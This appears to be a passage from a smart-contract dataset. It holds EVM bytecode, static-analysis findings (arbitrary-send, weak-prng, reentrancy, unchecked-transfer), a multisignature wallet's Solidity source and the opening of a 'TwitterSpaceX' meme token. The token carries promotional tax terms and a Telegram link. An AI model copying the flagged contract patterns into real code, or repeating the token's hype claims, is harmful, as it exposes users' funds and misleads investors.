0ace57600080fd5b6003546000805460048054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152610100909404600160a060020a039081169385019390935260248401919091525193169263a9059cbb92604480840193602093929083900390910190829087803b158015610b4d57600080fd5b505af1158015610b61573d6000803e3d6000fd5b505050506040513d6020811015610b7757600080fd5b50506000546101009004600160a060020a0316ff5b60055481565b6103e881565b600254600160a060020a031681565b60045460408051918252517fdff64b0d3aeb3f517dce05c4a4b3f84c29fe10fa9c3390c3e85122da92101dee9181900360200190a1600754600454620f4240910204600655565b610bf66111cc565b50600160a060020a0381166000908152600a6020908152604080832081516060810183529054600160c860020a03811680835260c860020a820465ffffffffffff169483019490945260f860020a900460ff16918101919091529190819081908110610c6157600080fd5b60ff846020015165ffffffffffff1643031115610c82576103e89250610ca0565b610c9a6064856020015165ffffffffffff1687611130565b60010192505b836040015160ff16915081831015610e1e578351610cc790600160c860020a03168361114f565b600454909150610cdd908263ffffffff61111e16565b600455835160408051600160a060020a03881681526020810186905280820185905260608101849052600160c860020a039092166080830152600160a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a1610d50610ba7565b8515610d7057600160a060020a0385166000908152600a60205260408120555b6003548451604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038981166004830152600160c860020a03909316850160248201529051919092169163a9059cbb9160448083019260209291908290030181600087803b158015610dec57600080fd5b505af1158015610e00573d6000803e3d6000fd5b505050506040513d6020811015610e1657600080fd5b50610eae9050565b835160408051600160a060020a03881681526020810186905280820185905260608101849052600160c860020a039092166080830152600060a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a18351600454610ea391600160c860020a031663ffffffff610eb616565b600455610eae610ba7565b505050505050565b600082820183811015610ec557fe5b9392505050565b610ed46111cc565b60005460ff1615610ee457600080fd5b816020015183600654610ef7838361114f565b108015610f0657506008548210155b8015610f125750600281115b8015610f1e5750606481105b1515610f2957600080fd5b6020840151600160c860020a0311610f4057600080fd5b65ffffffffffff4310610f5257600080fd5b610f5b336111a1565b1515610f6657600080fd5b8351600160a060020a03166000908152600a602090815260409182902082516060810184529054600160c860020a038116825260c860020a810465ffffffffffff1692820183905260f860020a900460ff1692810192909252909350431415610fce57600080fd5b602083015165ffffffffffff1615610fef57610fef60008560000151610bee565b64ffffffffff431660208085019182528581018051600160c860020a03908116875260ff808a166040808a019182528a51600160a060020a039081166000908152600a88528290208b5181549951945190951660f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff65ffffffffffff9590951660c860020a027fff000000000000ffffffffffffffffffffffffffffffffffffffffffffffffff9690971678ffffffffffffffffffffffffffffffffffffffffffffffffff19909a16999099179490941694909417919091169590951790558751915184519290911682529181019190915280820187905290517fcfb6e9afebabebfb2c7ac42dfcd2e8ca178dc6400fe8ec3075bd690d8e3377fe9181900360600190a15050505050565b60008282111561112a57fe5b50900390565b60008361113d84846105cb565b81151561114657fe5b06949350505050565b6000826103e86005548561116d60018761111e90919063ffffffff16565b61117e87600163ffffffff61111e16565b606503880281151561118c57fe5b04010281151561119857fe5b04039392505050565b600254600160a060020a0390811691161490565b604080518082019091526000808252602082015290565b6040805160608101825260008082526020820181905291810191909152905600a165627a7a723058203a1e1e460b9ff2d159e94aedc2cd5b4c04fad47ed5649fcecbb7fb28625800cd0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,939 |
0x57829d2213000f0723febc1a175e584462bbe01f
|
pragma solidity 0.4.19;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="4d3e39282b2c23632a28223f2a280d2e22233e28233e343e63232839">[email protected]</a>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function() public payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c1461028757806354741525146102e15780637065cb4814610325578063784547a71461035e5780638b51d13f146103995780639ace38c2146103d0578063a0e67e2b146104ce578063a8abe69a14610538578063b5dc40c3146105cf578063b77bf60014610647578063ba51a6df14610670578063c01a8c8414610693578063c6427474146106b6578063d74f8edd1461074f578063dc8452cd14610778578063e20056e6146107a1578063ee22610b146107f9575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b341561018257600080fd5b610198600480803590602001909190505061081c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061085b565b005b341561021e57600080fd5b6102346004808035906020019091905050610af7565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c9f565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cbf565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b61030f600480803515159060200190919080351515906020019091905050610cee565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d80565b005b341561036957600080fd5b61037f6004808035906020019091905050610f82565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103ba6004808035906020019091905050611068565b6040518082815260200191505060405180910390f35b34156103db57600080fd5b6103f16004808035906020019091905050611134565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b50509550505050505060405180910390f35b34156104d957600080fd5b6104e1611190565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610524578082015181840152602081019050610509565b505050509050019250505060405180910390f35b341561054357600080fd5b610578600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611224565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105bb5780820151818401526020810190506105a0565b505050509050019250505060405180910390f35b34156105da57600080fd5b6105f06004808035906020019091905050611380565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610633578082015181840152602081019050610618565b505050509050019250505060405180910390f35b341561065257600080fd5b61065a6115aa565b6040518082815260200191505060405180910390f35b341561067b57600080fd5b61069160048080359060200190919050506115b0565b005b341561069e57600080fd5b6106b4600480803590602001909190505061166a565b005b34156106c157600080fd5b610739600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611847565b6040518082815260200191505060405180910390f35b341561075a57600080fd5b610762611866565b6040518082815260200191505060405180910390f35b341561078357600080fd5b61078b61186b565b6040518082815260200191505060405180910390f35b34156107ac57600080fd5b6107f7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611871565b005b341561080457600080fd5b61081a6004808035906020019091905050611b88565b005b60038181548110151561082b57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089757600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108f057600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a78578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561098357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a6b5760036001600380549050038154811015156109e257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a1d57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a78565b818060010192505061094d565b6001600381818054905003915081610a909190611f5d565b506003805490506004541115610aaf57610aae6003805490506115b0565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5057600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bbb57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610beb57600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610d7957838015610d2d575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d605750828015610d5f575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d6c576001820191505b8080600101915050610cf6565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dba57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e1457600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610e3b57600080fd5b60016003805490500160045460328211158015610e585750818111155b8015610e65575060008114155b8015610e72575060008214155b1515610e7d57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610ee99190611f89565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b60038054905081101561106057600160008581526020019081526020016000206000600383815481101515610fc057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611040576001820191505b6004548214156110535760019250611061565b8080600101915050610f8f565b5b5050919050565b600080600090505b60038054905081101561112e576001600084815260200190815260200160002060006003838154811015156110a157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611121576001820191505b8080600101915050611070565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b611198611fb5565b600380548060200260200160405190810160405280929190818152602001828054801561121a57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111d0575b5050505050905090565b61122c611fc9565b611234611fc9565b6000806005546040518059106112475750595b9080825280602002602001820160405250925060009150600090505b6005548110156113035785801561129a575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112cd57508480156112cc575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156112f6578083838151811015156112e157fe5b90602001906020020181815250506001820191505b8080600101915050611263565b8787036040518059106113135750595b908082528060200260200182016040525093508790505b8681101561137557828181518110151561134057fe5b906020019060200201518489830381518110151561135a57fe5b9060200190602002018181525050808060010191505061132a565b505050949350505050565b611388611fb5565b611390611fb5565b6000806003805490506040518059106113a65750595b9080825280602002602001820160405250925060009150600090505b600380549050811015611505576001600086815260200190815260200160002060006003838154811015156113f357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114f85760038181548110151561147b57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114b557fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b80806001019150506113c2565b816040518059106115135750595b90808252806020026020018201604052509350600090505b818110156115a257828181518110151561154157fe5b90602001906020020151848281518110151561155957fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808060010191505061152b565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115ea57600080fd5b60038054905081603282111580156116025750818111155b801561160f575060008114155b801561161c575060008214155b151561162757600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116c357600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561171f57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561178b57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361184085611b88565b5050505050565b6000611854848484611e0b565b905061185f8161166a565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ad57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561190657600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561196057600080fd5b600092505b600380549050831015611a4b578473ffffffffffffffffffffffffffffffffffffffff1660038481548110151561199857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a3e57836003848154811015156119f057fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a4b565b8280600101935050611965565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611be357600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c4e57600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611c7e57600080fd5b611c8786610f82565b15611e0357600080878152602001908152602001600020945060018560030160006101000a81548160ff0219169083151502179055508460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168560010154866002016040518082805460018160011615610100020316600290048015611d665780601f10611d3b57610100808354040283529160200191611d66565b820191906000526020600020905b815481529060010190602001808311611d4957829003601f168201915b505091505060006040518083038185876187965a03f19250505015611db757857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e02565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b505050505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611e3457600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611ef3929190611fdd565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b815481835581811511611f8457818360005260206000209182019101611f83919061205d565b5b505050565b815481835581811511611fb057818360005260206000209182019101611faf919061205d565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061201e57805160ff191683800117855561204c565b8280016001018555821561204c579182015b8281111561204b578251825591602001919060010190612030565b5b509050612059919061205d565b5090565b61207f91905b8082111561207b576000816000905550600101612063565b5090565b905600a165627a7a72305820f32b822306346fdb79018476e7f3ff31b0c5f9c1b16cafc04672f57f7258828a0029
|
{"success": true, "error": null, "results": {}}
| 3,940 |
0x7b088b9df139ef65b32d5cbf3ccec6619a63097c
|
/**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
/**
- - - - - - - - TwitterSpaceX - - - - - - - -
Buy Tax : 5%
Sell Tax : 8%
Based on Elon Tweet, it's official, Elon have bought Twitter for 43.000.000.000$
Total Supply : 43 000 000 000
Initial LP : 2.5 - 3e
Max wallet : 3%
TG : https://t.me/TwitterSpaceX
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TwitterSpaceX is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 43000000000 * 10**9;
string public constant name = unicode"TwitterSpaceX"; ////
string public constant symbol = unicode"TwitterSpaceX"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 5;
uint public _sellFee = 8;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
